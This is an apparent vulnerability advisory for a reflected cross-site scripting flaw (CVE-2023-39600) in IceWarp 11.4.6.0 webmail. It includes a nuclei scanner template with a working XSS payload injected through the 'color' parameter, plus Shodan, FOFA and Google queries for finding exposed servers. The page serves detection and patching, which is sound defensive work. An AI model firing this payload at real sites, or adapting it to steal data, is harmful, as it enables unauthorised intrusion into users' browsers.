IceWarp 11.4.6.0 - Cross-Site Scripting

mediumseverity

6.1CVSS score

1.2%likelihood of exploitation, next 30 days

69%of all CVEs are less likely

Readycheck to confirm it

IceWarp 11.4.6.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the color parameter.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.

Fix

Apply the latest security patches and updates from the vendor to address this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/webmail/?color="><img src=x onerror=confirm(document.domain)>
Positive when: contains "<img src=x onerror=confirm(document.domain)>" and "IceWarp" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2023-39600 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2023-39600

info:
  name: IceWarp 11.4.6.0 - Cross-Site Scripting
  author: Imjust0
  severity: medium
  description: |
    IceWarp 11.4.6.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the color parameter.
  remediation: |
    Apply the latest security patches and updates from the vendor to address this vulnerability.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
  reference:
    - https://medium.com/@katikitala.sushmitha078/cross-site-scripting-reflected-xss-in-icewarp-server-cve-2023-39600-310a7e1c8817
    - https://nvd.nist.gov/vuln/detail/CVE-2023-39600
    - https://icewarp.com
    - https://medium.com/%40katikitala.sushmitha078/cross-site-scripting-reflected-xss-in-icewarp-server-cve-2023-39600-310a7e1c8817
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-39600
    cwe-id: CWE-79
    epss-score: 0.01215
    epss-percentile: 0.68814
    cpe: cpe:2.3:a:icewarp:icewarp:11.4.6.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: icewarp
    product: icewarp
    shodan-query:
      - title:"icewarp"
      - http.favicon.hash:2144485375
      - http.title:"icewarp"
    fofa-query:
      - title="icewarp"
      - icon_hash=2144485375
    google-query: intitle:"icewarp"
  tags: cve,cve2023,icewarp,xss,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/webmail/?color="><img src=x onerror=confirm(document.domain)>'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<img src=x onerror=confirm(document.domain)>"
          - "IceWarp"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from